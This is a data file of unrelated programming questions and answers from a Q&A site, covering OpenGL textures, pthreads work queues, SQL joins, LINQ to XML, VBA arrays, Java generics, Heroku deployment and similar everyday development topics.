24665912	0	 <p>I solved my problem. The problem is since I am using RGBA as internal format I am telling opengl to use 4 bytes per pixel. However it is actually 3.</p> <pre><code>glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, image-&gt;width, image-&gt;height, 0, GL_RGB,//The change is here GL_UNSIGNED_BYTE, image-&gt;pixels); </code></pre> <p>When I made this change, it worked.</p>
40626798	0	 <p>it's nicer to filter like this:</p> <pre><code>string[] files = System.IO.Directory.GetFiles(dir, "*.doc", System.IO.SearchOption.TopDirectoryOnly); </code></pre>
30022795	0	Postgres Upgrade Interrupted, pg_version now inconsistent <p>Recently attempted an upgrade from 9.3 to 9.4 on an Ubuntu 14.04 Postgres installation, something went awry and the system lost power midway through the upgrade. Now the cluster won't start and when I try to move the data file to a new system and start it, there are inconsistencies in the data files and PG_VERSIONs are varied between 9.3 and 9.4.</p> <p>Is there any way to recover and make consistent the files to launch under a new cluster?</p>
30825138	0	 <p>You need to have marked your files as localizable first. Select file (e. g. a storyboard) and then click the Localize button. Then, you will have that files listed when adding languages. </p>
20100986	0	 <p>The features you are trying to use are part of Web API 2. Since you mentioned you're using MVC 4, I expect you will want to upgrade your references to MVC 5 and Web API 2.</p> <p>Find out more about these features at <a href="http://www.strathweb.com/2013/06/ihttpactionresult-new-way-of-creating-responses-in-asp-net-web-api-2/">http://www.strathweb.com/2013/06/ihttpactionresult-new-way-of-creating-responses-in-asp-net-web-api-2/</a></p>
17452864	0	 <p>This answer is probably going to need a little refinement from the community, since it's been a long while since I worked in this environment, but here's a start -</p> <p>Since you're new to multi-threading in C++, start with a simple project to create a bunch of pthreads doing a simple task.</p> <p>Here's a quick and small example of creating pthreads:</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;pthread.h&gt; void* ThreadStart(void* arg); int main( int count, char** argv) { pthread_t thread1, thread2; int* threadArg1 = (int*)malloc(sizeof(int)); int* threadArg2 = (int*)malloc(sizeof(int)); *threadArg1 = 1; *threadArg2 = 2; pthread_create(&amp;thread1, NULL, &amp;ThreadStart, (void*)threadArg1 ); pthread_create(&amp;thread2, NULL, &amp;ThreadStart, (void*)threadArg2 ); pthread_join(thread1, NULL); pthread_join(thread2, NULL); free(threadArg1); free(threadArg2); } void* ThreadStart(void* arg) { int threadNum = *((int*)arg); printf("hello world from thread %d\n", threadNum); return NULL; } </code></pre> <p>Next, you're going to be using multiple opus decoders. Opus appears to be thread safe, so long as you create separate OpusDecoder objects for each thread. </p> <p>To feed jobs to your threads, you'll need a list of pending work units that can be accessed in a thread safe manner. You can use <code>std::vector</code> or <code>std::queue</code>, but you'll have to use locks around it when adding to it and when removing from it, and you'll want to use a counting semaphore so that the threads will block, but stay alive, while you slowly add workunits to the queue (say, buffers of files read from disk).</p> <p>Here's some example code similar from above that shows how to use a shared queue, and how to make the threads wait while you fill the queue:</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;pthread.h&gt; #include &lt;queue&gt; #include &lt;semaphore.h&gt; #include &lt;unistd.h&gt; void* ThreadStart(void* arg); static std::queue&lt;int&gt; workunits; static pthread_mutex_t workunitLock; static sem_t workunitCount; int main( int count, char** argv) { pthread_t thread1, thread2; pthread_mutex_init(&amp;workunitLock, NULL); sem_init(&amp;workunitCount, 0, 0); pthread_create(&amp;thread1, NULL, &amp;ThreadStart, NULL); pthread_create(&amp;thread2, NULL, &amp;ThreadStart, NULL); // Make a bunch of workunits while the threads are running. for (int i = 0; i &lt; 200; i++ ){ pthread_mutex_lock(&amp;workunitLock); workunits.push(i); sem_post(&amp;workunitCount); pthread_mutex_unlock(&amp;workunitLock); // Pretend that it takes some effort to create work units; // this shows that the threads really do block patiently // while we generate workunits. usleep(5000); } // Sometime in the next while, the threads will be blocked on // sem_wait because they're waiting for more workunits. None // of them are quitting because they never saw an empty queue. // Pump the semaphore once for each thread so they can wake // up, see the empty queue, and return. sem_post(&amp;workunitCount); sem_post(&amp;workunitCount); pthread_join(thread1, NULL); pthread_join(thread2, NULL); pthread_mutex_destroy(&amp;workunitLock); sem_destroy(&amp;workunitCount); } void* ThreadStart(void* arg) { int workUnit; bool haveUnit = true; while(haveUnit) { sem_wait(&amp;workunitCount); pthread_mutex_lock(&amp;workunitLock); // Figure out if there's a unit, grab it under // the lock, then release the lock as soon as we can. // After we release the lock, then we can 'process' // the unit without blocking everybody else. haveUnit = !workunits.empty(); if ( haveUnit ) { workUnit = workunits.front(); workunits.pop(); } pthread_mutex_unlock(&amp;workunitLock); // Now that we're not under the lock, we can spend // as much time as we want processing the workunit. if ( haveUnit ) { printf("Got workunit %d\n", workUnit); } } return NULL; } </code></pre>
22936621	0	 <p>If I'm not misunderstanding your question, this will work:</p> <pre><code>SELECT PE.PROJECT_ESTIMATES_ID, IF( PE.PROJECT_ESTIMATES_ID = '046a190e-a895-4ce2-bb10-7a583d648b99', 0, PE.PROJECT_ESTIMATES_ID) AS STEP_DESCRIPTION FROM PROJECT_ESTIMATES PE, MST_PIPELINE_STEPS MPS WHERE PE.`PROJECT_BASIC_INFORMATION_ID` ='29ab9760-c75b-4479-882c-bc84426d55ac' AND PE.`TENANT_ID`='{0559cdcb-c63b-4c81-be91-b78Tenant1000' AND PE.PIPELINE_STEP_ID=MPS.PIPELINE_STEP_ID ORDER BY PE.MODIFIED_DATE DESC </code></pre> <p>Unless of course you meant you want zero rather than blank or null in which case this is what you want:</p> <pre><code>SELECT PE.PROJECT_ESTIMATES_ID IF( LENGTH (ISNULL( PE.PROJECT_ESTIMATES_ID,'')) &gt; 0, PE.PROJECT_ESTIMATES_ID, 0) AS STEP_DESCRIPTION FROM PROJECT_ESTIMATES PE, MST_PIPELINE_STEPS MPS WHERE PE.`PROJECT_BASIC_INFORMATION_ID` ='29ab9760-c75b-4479-882c-bc84426d55ac' AND PE.`TENANT_ID`='{0559cdcb-c63b-4c81-be91-b78Tenant1000' AND PE.PIPELINE_STEP_ID=MPS.PIPELINE_STEP_ID ORDER BY PE.MODIFIED_DATE DESC </code></pre>
18935066	0	 <p>I'm not sure if :current_location should be a symbol in your model if block. Calling the current_location method inside an object will resolve to the boolean value of current_location (provided your controller is saving it correctly) so change the code to:</p> <pre><code>def geocode_by_ip_address(offer) if current_location offer.address = request.location.address end end </code></pre> <p>EDIT: Sorry just realised that this is in a helper and not the model, :current_location and current_location should both be undefined in your helper, you would need to pass that logic in (or I would put the if block inside the model and then call geocode_by_ip_address with the if block removed from there)</p>
14432346	0	How can I build a OSGi bundle with maven that includes non-code resources from an OSGi fragment? <p>I have an OSGi fragment containing non-code resources - that is effectively a jar file containing a set of resources (image files, etc) - that I have built with maven.</p> <p>I would like to build another bundle with maven which depends on the fragments with the resources. That is, when the code in this bundle is executed, I want the resources from my fragment to be loaded and available with Java's getResources() command.</p> <p>How can I do this?</p>
39997713	0	 <p>You want an outer join to get all rows from table_1 and the matching ones from table2</p> <pre><code>select t1.id, t1.val - coalesce(t2.val, 0) as result from table_1 t1 left join table_2 t2 on t1.id = t2.id; </code></pre> <p>The <code>coalesce(t2.val, 0)</code> is necessary because the outer join will return <code>null</code> for those rows where no id exists in table_2 but <code>t1.val - null</code> would yield <code>null</code></p>
4549430	0	 <p>No, but you can pass your "crazy stuff" into <code>supportsImage</code>, e.g.</p> <pre><code>supportsImage(function(result){ if(result) { //Do some crazy stuff } }); </code></pre>
15364637	0	Linq to Xml - Input String <p>I am using Linq to Xml to parse some xml messages coming from a legacy system. One of the messages is coming in as Name / Value pairs. So I am doing the lookup by name and then trying to get the equivalent value. However, when the Value is blank (<code>&lt;Value/&gt;</code>) my code is throwing the error <code>Input string was not in a correct format.</code></p> <p>I am trying to figure out the best way to solve this issue. Any suggestions would be greatly appreciated (Trying to fill property with nullable int type int?). </p> <p>Code Example:</p> <pre><code>myRecord.myField= xdoc.Descendants("Information") .Where(x =&gt; (string)x.Element("Name") == "myField") .Select(x =&gt; (int?)x.Element("Value")).FirstOrDefault(); </code></pre> <p>XML Snippet:</p> <pre><code> &lt;Information&gt; &lt;Name&gt;myField&lt;/Name&gt; &lt;Value /&gt; &lt;/Information&gt; </code></pre> <p>Always appreciate the feedback / input.</p> <p>Thanks,</p> <p>S</p>
16756354	0	 <p>The short answer: Objects. Object oriented programming allows you to encapsulate data so that it doesn't pollute the global namespace. As your projects grow larger, it becomes unmaintainable to have all your data in the global namespace. Objects allow you to group data and methods into meaningful units, which can then be re-used and maintained more easily.</p> <p>So for instance with the example you provided we could make deck and hand objects. This then allows us to create multiple deck and hands easily because these objects encapsulate and manage their data.</p> <p>As a rough outline of how you might organize your classes / methods:</p> <pre><code>class Deck def shuffle end def draw_hand end end class Hand end class Card end </code></pre>
34382725	0	Control how angularjs converts date to json string <p>I have an object containing a javacsript date. Something like this:</p> <pre><code>var obj = { startTime: new Date() .... } </code></pre> <p>When Angularjs converts the object to JSON (for example, when sending it over $http), it converts the date to a string such as:</p> <pre><code>2015-12-20T15:35:15.853Z </code></pre> <p>I would like to have a timestamp instead of this string. What is the best way to achieve this?</p>
13588677	0	 <p>First implementation i.e. the array implementation is correct and preferred. But it depends on the programmer. Best practice is not to change/alter the pointer i.e. starting/base address should be preserved, should not be incremented or decremented. </p>
19800259	0	VBA Writing Array to Range Causing Run-Time Error '7': Out Of Memory <p><strong>The Task</strong></p> <p>I'm working on a VBA project wherein I store the data from a sheet in a <code>Variant Array</code>, do a bunch of calculations with the data in the <code>Array</code>, store the results of those computations in a few other <code>Arrays</code>, then finally I store all the "results arrays" in another <code>Variant Array</code> and write that array to a range in a new sheet. </p> <p>Note: this process has been working fine ever since I first wrote the procedure.</p> <p><strong>The Issue</strong></p> <p>After a very minor logic change, my final <code>Array</code> will no longer write to the specified range. I get <code>Run-time error '7': Out of memory</code> when I try. I changed the logic back in case that was my issue, but I still get the error. </p> <p>After doing some research, I tried to erase all the arrays (including the one containing all the sheet data) before writing to the range, but that didn't work either. I've checked Task Manager and that shows my RAM as having a lot of free space (almost 6K MBs available and over 1k Mbs "free"). (Task Manager shows the Excel process as using around 120 MBs.)</p> <p><strong>The Code (Snippet)</strong></p> <pre><code>Dim R As Range Dim ALCount As Long Dim All(5) As Variant Dim sht As Worksheet Dim Arr1() As Long Dim Arr2() As Date Dim Arr3() As Date Dim Arr4() As Long Dim Arr5() As String All(1) = Arr1 All(2) = Arr2 All(3) = Arr3 All(4) = Arr4 All(5) = Arr5 Set R = sht.Cells(2,1) R.Resize(ALCount - 1, 5).Value = Application.Transpose(All) </code></pre> <p><strong>More Details</strong></p> <pre><code>My device: Win 7 64-Bit Excel: 2010 32-Bit File Size: &lt;20 MBs Macro Location: Personal Workbook Personal WB Size: &lt; 3 MBs </code></pre> <p><strong>Edit: Array Size: 773x5</strong></p> <p>Any thoughts on why this might be happening?</p>
24058813	0	 <p>When two objects have the same __array_priority__:</p> <pre><code>&gt;&gt;&gt; np.array([[1,0],[0,1]]).__array_priority__ 0.0 &gt;&gt;&gt; a.__array_priority__ 0.0 </code></pre> <p>And only one object's methods can be used, the tie is resolved by using the first array's/object's methods. (In your case __array_wrap__)</p> <p>From the question it seems like your class' methods should always be preferred, since they are the same (through inheritance) or overridden.</p> <p>So I would just crank up the __array_priority__. </p> <pre><code>class Template(np.ndarray): __array_priority__ = 1.0 (Or whichever value is high enough) ... </code></pre> <p>After you do this no matter where the template object is in a calculation. It's methods will be preferred over standard arrays' methods.</p>
34124826	0	 <p>Try using <code>zip</code></p> <pre><code>&gt;&gt;&gt; print zip(*ss) [(2, 5, 4), (4, 6, 8), (5, 7, 9), (2, 6, 4)] </code></pre>
7493744	0	 <p>The only php based solution that I know is PHP Manual Creator from kubelabs.com (http://www.kubelabs.com/phpmanualcreator/)</p>
39441513	0	Variable latency in Windows networking <p>I have a PLC that sends UDP packets every 24ms. "Simultaneously" (i.e. within a matter of what should be a few tens or at most hundreds of microseconds), the same PLC triggers a camera to snap an image. There is a Windows 8.1 system that receives both the images and the UDP packets, and an application running on it that should be able to match each image with the UDP packet from the PLC.</p> <p>Most of the time, there is a reasonably fixed latency between the two events as far as the Windows application is concerned - 20ms +/- 5ms. But sometimes the latency rises, and never really falls. Eventually it goes beyond the range of the matching buffer I have, and the two systems reset themselves, which always starts back off with "normal" levels of latency.</p> <p>What puzzles me is the variability in this variable latency - that sometimes it will sit all day on 20ms +/- 5ms, but on other days it will regularly and rapidly increase, and our system resets itself disturbingly often.</p> <p>What could be going on here? What can be done to fix it? Is Windows the likely source of the latency, or the PLC system?</p> <p>I 99% suspect Windows, since the PLC is designed for real time response, and Windows isn't. Does this sound "normal" for Windows? If so, even if there are other processes contending for the network and/or other resources, why doesn't Windows ever seem to catch up - to rise in latency when contention occurs, but return to normal latency levels after the contention stops?</p> <p>FYI: the Windows application calls <code>SetPriorityClass( GetCurrentProcess(), REALTIME_PRIORITY_CLASS )</code> and each critical thread is started with <code>AfxBeginThread( SomeThread, pSomeParam, THREAD_PRIORITY_TIME_CRITICAL )</code>. There is as little as possible else running on the system, and the application only uses about 5% of the available Quad-core processor (with hyperthreading, so 8 effective processors). There is no use of <code>SetThreadAffinityMask()</code> although I am considering it.</p>
3444956	0	 <p>Set the <a href="http://msdn.microsoft.com/en-us/library/system.windows.controls.gridviewcolumn.headercontainerstyle.aspx" rel="nofollow noreferrer">HeaderContainerStyle</a> on the first column explicitly so it will not fall back to using the implicit one: </p> <pre><code>&lt;ListView Name="lvEverything"&gt; &lt;ListView.Resources&gt; &lt;Style TargetType="{x:Type GridViewColumnHeader}"&gt; &lt;Setter Property="LayoutTransform"&gt; &lt;Setter.Value&gt; &lt;RotateTransform Angle="-90"/&gt; &lt;/Setter.Value&gt; &lt;/Setter&gt; &lt;Setter Property="Width" Value="250"&gt;&lt;/Setter&gt; &lt;/Style&gt; &lt;Style x:Key="FirstColumnStyle" TargetType="GridViewColumnHeader"/&gt; &lt;/ListView.Resources&gt; &lt;ListView.View&gt; &lt;GridView&gt; &lt;GridViewColumn Header="First Column" DisplayMemberBinding="{Binding FirstColumn}" HeaderContainerStyle="{StaticResource FirstColumnStyle}"/&gt; &lt;GridViewColumn Header="Second Column" DisplayMemberBinding="{Binding SecondColumn}"/&gt; &lt;/GridView&gt; &lt;/ListView.View&gt; &lt;/ListView&gt; </code></pre> <p>Or, if you are creating the columns in code: </p> <pre><code>GridViewColumn firstColumn = ...; firstColumn.HeaderContainerStyle = new Style(); </code></pre>
6354547	0	 <p>it's a bit of an usual approach of trying to 'grab' the active outlook object... Especially, if there isn't an active object. A more standard approach is something to the effect of:</p> <pre><code>outlookApplication = new Application(); outlookNamespace = m_OutlookApplication.GetNamespace("mapi"); // If an outlook app is already open, then it will reuse that // session. Else it will perform a fresh logon. outlookNamespace.Logon(accountName, password, true, true); </code></pre>
22756732	0	 <p>Kurty is correct in that you shouldn't need to subclass <code>DragShadowBuilder</code> in this case. My thought is that the view you're passing to the <code>DragShadowBuilder</code> doesn't actually exist in the layout, and therefore it doesn't render.</p> <p>Rather than passing <code>null</code> as the second argument to <code>inflater.inflate</code>, try actually adding the inflated <code>View</code> to the hierarchy somewhere, and then passing it to a regular <code>DragShadowBuilder</code>:</p> <pre><code>View dragView = findViewById(R.id.dragged_item); mDragShadowBuilder = new DragShadowBuilder(dragView); v.startDrag(null, mDragShadowBuilder, null, 0); </code></pre> <p><strong>EDIT</strong></p> <p>I'm aware that having the <code>dragged_item</code> view being rendered all the time isn't what you want, but if it works then at least we know where the problem is and can look for a solution to that instead!</p>
13057939	0	 <p>Be sure not to mix the system variable path and the user variable systemp path. I feel OK in calling "java" without the absolute path (when I know how JAVA_HOME and PATH are configured).</p>
1985670	0	 <p>You might also want to study other <a href="http://www.dclunie.com/medical-image-faq/html/part8.html" rel="nofollow noreferrer">DICOM</a> sources. <a href="http://www.pixelmed.com/index.html#PixelMedJavaDICOMToolkit" rel="nofollow noreferrer">PixelMed</a>, in particular, contains an XML and XSLT based validator. Several <a href="http://rsbweb.nih.gov/ij/plugins/index.html" rel="nofollow noreferrer">DICOM plugins</a> are available for <a href="http://rsbweb.nih.gov/ij/" rel="nofollow noreferrer">ImageJ</a>.</p>
25675328	0	 <p>You didn't say what error, but looks like changing:</p> <pre><code>if(nodePtr = NULL) </code></pre> <p>to</p> <pre><code>if(nodePtr == NULL) ^^ </code></pre> <p>is what you need.</p>
21516047	0	 <p>Are you running the whole import in one big transaction? Try to split it up in transactions of, say, 10k nodes. You should still however not run into "too many open files". If you do an "lsof" (terminal command) at that time, can you see which files are open?</p> <p>Data that is committed stays persisted in a neo4j database. I think that the import fails with this error and nothing stays imported since the whole import runs in one big transaction.</p>
21376320	0	 <p>The best and clear way to do that is:</p> <pre><code>var list = {}; list.name = /^[A-Za-z\s.]+$/; list.general = /^[A-Za-z0-9\s.\-\/]{2,20}$/; list.email = /^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/; list.digit = /^[+]?[0-9\s]+$/; </code></pre> <p>without loops, etc</p>
24517247	0	Artifact 'com.android.tools.build:gradle:0.12.1:gradle.jar' not found on Android Studio 0.8.1 <p>I've upgraded to Android Studio 0.8.1 and when I try to compile any app it fails with the following error:</p> <pre><code>Error:Artifact 'com.android.tools.build:gradle:0.12.1:gradle.jar' not found on Android Studio 0.8.1 </code></pre> <p>I tried to update manually the plugin from gradle.org and it does not contain any gradle.jar binary.</p> <p>How to resolve this error?</p>
8839095	0	What is the GPars default pool size? <p>I thought this would have been an easy thing to find but I've failed.</p> <p>If I use GPars in my Groovy application and I don't specify a pool size how many threads will be created? Is there a default pool size without setting one?</p> <pre><code>// How many threads will be created? What is the default pool size? GParsExecutorsPool.withPool { // do stuff... } </code></pre>
37559216	0	 <p>Not sure if this will be helpful to anyone, but I did get this working.</p> <ol> <li>Removed the abstract class and made it an interface with a single public getEncounterId() method</li> <li>Modified FooEncounter to implement the above interface</li> <li>Removed generics from the EncounterPDFExport class</li> <li>Modified the encounter field to utilize the above interface rather than a generic</li> <li><p>Apparently, I'm hitting some Hibernate bug/limitation when accessing fields within FooEncounter. Accessing Encounter within EncounterPDFExport works OK, though. I modified my Spring Data JPA Repository to look like the following (note the modification from finding by encounter.encounterId vs. just encounter):</p> <pre><code>@Repository public interface EncounterPDFExportRepository extends PagingAndSortingRepository&lt;EncounterPDFExport, Long&gt; { EncounterPDFExport findOneByEncounter(@Param("encounter") Encounter encounter); } </code></pre></li> </ol> <p>The Hibernate bug in question seems to be related to <a href="https://jira.spring.io/browse/DATAJPA-836" rel="nofollow">https://jira.spring.io/browse/DATAJPA-836</a>.</p>
25643435	0	How to run tests with maven twice? <p>I want to run maven tests twice, the second run must be straight after the first one. Is there any command to fire mvn tests twice?</p>
2334943	0	 <p>Heuristics are algorithms, so in that sense there is none, however, heuristics take a 'guess' approach to problem solving, yielding a 'good enough' answer, rather than finding a 'best possible' solution.</p> <p>A good example is where you have a very hard (read NP-complete) problem you want a solution for but don't have the time to arrive to it, so have to use a good enough solution based on a heuristic algorithm, such as finding a solution to a travelling salesman problem using a genetic algorithm.</p>
17068781	0	PoEdit does not see gettext in html tags <p>I use PoEdit. It scans all .php files, find each time I use gettext() or _(), and update the .po and .mo files.</p> <p>I have a .php file that has html tags and php in it, like this :</p> <pre><code>&lt;html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"&gt; &lt;head&gt; &lt;?php $message = _("blabla"); ?&gt; </code></pre> <p>Here POEdit does not see "blabla" and so it is not added in the .po file.</p> <p>Is there a way to make PoEdit scan this portion of php ?</p>
17504066	0	c++ error when use parallel_for <p>I'm trying to use parallel_for, but I get an error, the code is:</p> <pre><code>#include "stdafx.h" #include &lt;iostream&gt; #include &lt;windows.h&gt; #include &lt;ppl.h&gt; using namespace std; using namespace concurrency; int _tmain(int argc, _TCHAR* argv[]) { parallel_for(size_t(0), 50, [&amp;](size_t i) { cout &lt;&lt; i &lt;&lt; ","; } cout &lt;&lt; endl; getchar(); return 0; } </code></pre> <p>The error is:</p> <blockquote> <p>IntelliSense: no instance of overloaded function "parallel_for" matches the argument list >argument types are: (size_t, int, lambda []void (size_t i)->void</p> </blockquote> <p>This is only example, I have to use it in bigger project, but first of all I want to understand how to use it properly.</p> <p>*<strong><em>edit</em>*</strong></p> <p>i changed the code to:</p> <pre><code>parallel_for(size_t(0), 50, [&amp;](size_t i) { cout &lt;&lt; i &lt;&lt; ","; }); </code></pre> <p>but still i get the annoying error: IntelliSense: no instance of overloaded function "parallel_for" matches the argument list argument types are: (size_t, int, lambda []void (size_t i)->void)</p>
32670003	0	RSpec - How to get a better error message? <p>I am used to PHPUnit, so I found RSpec to be inferior when it comes to showing what has gone wrong, where and why.</p> <p>For example, in PHPUnit, I can get the stack trace when an exception is raised (and even with -b option in RSpec, all I can get is the stack trace of RSpec exceptions, and not Rails's)</p> <p>Also, when some error occurs, it shows you the <strong>ACTUAL</strong> value and the <strong>EXPECTED</strong> value.</p> <p>Those two features I'd like to achieve in RSpec. Getting a detailed error message that includes the stack trace, in case of an Exception of Ruby or of Rails, and to know what was the actual value.</p> <p>Any ideas of how to accomplish this?</p>
28736821	0	 <p>By looking at the <a href="https://github.com/brunoscopelliti/ng-unique/blob/master/Gruntfile.js#L128" rel="nofollow" title="Gruntfile.js">Gruntfile.js</a> you can see the tasks registered.</p> <p>There is currently three registered tasks; </p> <pre><code>grunt.registerTask('build-js', ['jshint', 'karma:unit', 'uglify:ngUnique']); grunt.registerTask('build-css', ['sass:prod']); grunt.registerTask('build-all', ['build-css', 'build-js']); </code></pre> <p>As you can see from the source, the <code>build-js</code> task includes running the <code>karma:unit</code> configuration.</p> <p>To trigger this registered task, you have to run <code>grunt build-js</code>, or if you just want to run the Karma configuration you have to run <code>grunt karma:unit</code>.</p>
40786590	0	Java 8 type inference cause to omit generic type on invocation <p>I have a Problem with a generic method after upgrading to Java 1.8, which was fine with Java 1.6 and 1.7 Consider the following code: </p> <pre><code>public class ExtraSortList&lt;E&gt; extends ArrayList&lt;E&gt; { ExtraSortList(E... elements) { super(Arrays.asList(elements)); } public List&lt;E&gt; sortedCopy(Comparator&lt;? super E&gt; c) { List&lt;E&gt; sorted = new ArrayList&lt;E&gt;(this); Collections.sort(sorted, c); return sorted; } public static void main(String[] args) { ExtraSortList&lt;String&gt; stringList = new ExtraSortList&lt;&gt;("foo", "bar"); Comparator&lt;? super String&gt; compGen = null; String firstGen = stringList.sortedCopy(compGen).get(0); // works fine Comparator compRaw = null; String firstRaw = stringList.sortedCopy(compRaw).get(0); // compiler ERROR: Type mismatch: cannot convert from Object to String } } </code></pre> <p>I tried this with the Oracle javac (1.8.0_92) and with Eclipse JDT (4.6.1) compiler. It is the same result for both. (the error message is a bit different, but essentially the same)</p> <p>Beside the fact, that it is possible to prevent the error by avoiding raw types, it puzzles me, because i don't understand the reason.</p> <p>Why does the raw method parameter of the sortedCopy-Method have any effect on the generic type of the return value? The generic type is already defined at class level. The method does not define a seperate generic type. The reference <code>list</code> is typed to <code>&lt;String&gt;</code>, so should the returned List.</p> <p>Why does Java 8 discard the generic type from the class on the return value?</p> <p><strong>EDIT:</strong> If the method signature of sortedCopy is changed (as pointed out by biziclop) to</p> <pre><code>public List&lt;E&gt; sortedCopy(Comparator c) { </code></pre> <p>then the compiler does consider the generic type <code>E</code> from the type <code>ExtraSortList&lt;E&gt;</code> and no error appears. But now the parameter <code>c</code> is a raw type and thus the compiler cannot validate the generic type of the provided Comparator.</p> <p><strong>EDIT:</strong> I did some review of the Java Language Specification and now i think about, whether i have a lack of understanding or this is a flaw in the compiler. Because:</p> <ul> <li><a href="https://docs.oracle.com/javase/specs/jls/se8/html/jls-6.html#jls-6.3" rel="nofollow noreferrer" title="Scope of a Declaration">Scope of a Declaration</a> of the generic type <code>E</code> is the class <code>ExtraSortList</code>, this includes the method <code>sortedCopy</code>.</li> <li>The method <code>sortedCopy</code> itself does <em>not declare</em> a generic type variable, it just refers to the type variable <code>E</code> from the class scope. see <a href="https://docs.oracle.com/javase/specs/jls/se8/html/jls-8.html#jls-8.4.4" rel="nofollow noreferrer" title="Generic Methods">Generic Methods</a> in the JLS</li> <li>The JLS also states in the same section <blockquote> <p>Type arguments may not need to be provided explicitly when a generic method is invoked, as they can often be inferred (§18 (Type Inference)).</p> </blockquote></li> <li>The reference <code>stringList</code> is defined with <code>String</code>, thus the compiler does not need to infer a type for<code>E</code> on the invocation of <code>sortedCopy</code> because it is already defined.</li> <li>Because <code>stringList</code> already has a reified type for <code>E</code>, the parameter <code>c</code> should be <code>Comparator&lt;? super String&gt;</code> for the given invocation.</li> <li>The return type should also use the already reified type <code>E</code>, thus it should be <code>List&lt;String&gt;</code>.</li> </ul> <p>This is my current understanding of how i think the Java compiler should evaluate the invocation. If i am wrong, an explanation why my assumptions are wrong would be nice.</p>
37758703	0	Meteor deploy on Heroku Error deploying Node <p>I built a Meteor app, and it runs on my local machine, where I have meteor installed.</p> <p>I have never deployed an app online, and am trying to put the app on heroku.</p> <p>I first tried to use buildpack/jordansissel/heroku-buildpack-meteor.git, but I got an error "Meteor requires Node v0.10.41 or later"</p> <p>I then tried to use buildpack/michaltakac/meteor-buildpack-horse.git but it failed to push because it couldn't unpack Node.</p> <p>Lastly I've tried kevinseguin/heroku-buildpack-meteor.git but I get lots of warnings about npm depricated <a href="http://prntscr.com/bewzak" rel="nofollow">http://prntscr.com/bewzak</a> </p> <p>When I look at the logs it says "Slug compilation failed: failed to compile Node.js app"</p> <p>I also get Error: MONGO_URL must be set in environment</p> <p>I don't know enough to understand what the errors are, or how to get my app deployed</p> <p>Image of errors: <a href="http://prntscr.com/bex0av" rel="nofollow">http://prntscr.com/bex0av</a></p> <p>my goal it to get the site on gr-fireworks.herokuapp.com</p> <p>I contacted Heroku helpdesk and they said they couldn't help me because the issue was outside the scope of Heroku Support.</p> <p>I tried to reach out to Snap CI who said they were successful in deploying it, but when I try to type in exactly what they did, I am still getting the error about Node <a href="https://snap-ci.com/ankitsri11/Fireworks/branch/master/logs/defaultPipeline/1/Heroku?back_to=build_history" rel="nofollow">https://snap-ci.com/ankitsri11/Fireworks/branch/master/logs/defaultPipeline/1/Heroku?back_to=build_history</a></p> <p>My repository I'm trying to deloy is on git at github.com/jschwarzwalder/Fireworks</p>
19203427	0	 <p>Check out <a href="http://superfeedr.com/" rel="nofollow">Superfeedr</a> (which I created!) for the RSS polling aspects. We will send your server a notification (including the update!) every time a feed has a new entry. Then, you'll have to fanout that update to all of your app users using <a href="https://developer.android.com/google/gcm/index.html" rel="nofollow">Google Cloud Messaging</a>. </p>
40417777	0	log4cplusud.lib missing when building with VisualStudio <p>i already have a complete VS Solution (that is working on other systems) and i am trying to get it to build on my computer aswell.</p> <p>The program is using log4cplus to (obviously) log - i already included the needed files, but when building VS tells me, that <code>log4cplusUD.lib</code> is missing. When searching through log4cplus i only found <code>log4cplusS.lib</code> and <code>log4cplusD.lib</code></p> <p>Does somebody know how to get this library or how to adjust VS to accept the other libraries? Thanks in advance :)</p>
33244208	0	 <pre><code>// ==UserScript== // @name Test GM_addValueChangeListener // @grant GM_addValueChangeListener // @grant GM_setValue // ==/UserScript== GM_addValueChangeListener("abc", function() { console.log(arguments) }); GM_setValue("abc",123); </code></pre>
20239024	0	 <p>Well,</p> <p>problem solved. I had to declare the resolver extension in the global scope, so that the subprojects also use it:</p> <pre><code>resolvers in Global ++= Seq( "Developer's repo" at "file://"+Path.userHome.absolutePath+"/maven2.artifacts/www" ) </code></pre> <p>Then project <code>def_symbol</code> also uses "Developer's repo" and everything works exactly as expected with versions like <code>"1.0.+"</code> or <code>"1.+"</code>.</p> <p>Not having the resolver in global scope available but having the library resolving working nevertheless was due to version 1.0.1 being available in Ivy's local cache from another build. From scratch, it would not have worked either.</p> <p>Sorry for the noise. I should have waited one more day before posting.</p>
35983874	0	AndroidViewClient: junk after document element <p>I tried to take dump on Samsung S6. </p> <pre><code>$dump </code></pre> <p>Following is the output I received (last line):</p> <pre><code>&lt;/hierarchy&gt;sh: resetreason: can\'t execute: Permission denied\r\nKilled \r\n </code></pre> <p>Which permission is denied and who's getting killed?</p>
2807823	0	 <p>With <code>printf</code>, the <code>%i</code> format outputs a <code>signed int</code>. Use <code>%u</code> to output an <code>unsigned int</code>. This is a common issue when beginning C programming. To address your question, the result of <code>v1 - v2</code> is -10, but <code>sum</code> is an <code>unsigned int</code>, so the real answer is probably something like 4294967286 (2<sup>32</sup> - 10). See what you get when you use <code>The subtraction of %i from %i is %u \n</code>. :)</p>
13495840	0	postgresql UPDATE error " ERROR: invalid input syntax for type boolean: " <p>I'm trying to make a simple update query on postgresql. I don't really understand the error as there is no boolean value or column type. Here is the log :</p> <pre>cat=> UPDATE categories SET epekcategoryid='27af8b1e-c0c9-4084-8304-256b2ae0c8b2' and epekparentcategoryid='root' WHERE categoryId='281' and siteid='0' and categoryparentid='-1'; ERROR: invalid input syntax for type boolean: "27af8b1e-c0c9-4084-8304-256b2ae0c8b2" LINE 1: UPDATE categories SET epekcategoryid='27af8b1e-c0c9-4084-830... </pre> <p>The table config :</p> <pre>cat=> \d categories; Table "public.categories" Column | Type | Modifiers ----------------------+-----------------------+----------- categoryid | character varying(32) | categoryname | text | siteid | integer | categoryparentid | character varying(32) | status | integer | default 0 epekcategoryid | text | epekparentcategoryid | text | categorylevel | character varying(37) | categoryidpath | character varying(37) | </pre>
18496335	0	 <p>I would suggest looking into the Assembly plugin: <a href="http://maven.apache.org/plugins/maven-assembly-plugin/" rel="nofollow">http://maven.apache.org/plugins/maven-assembly-plugin/</a> I have not used it in any Android project yet, but I do use it in my regular java server projects which require non-maven items be in expected locations.</p>
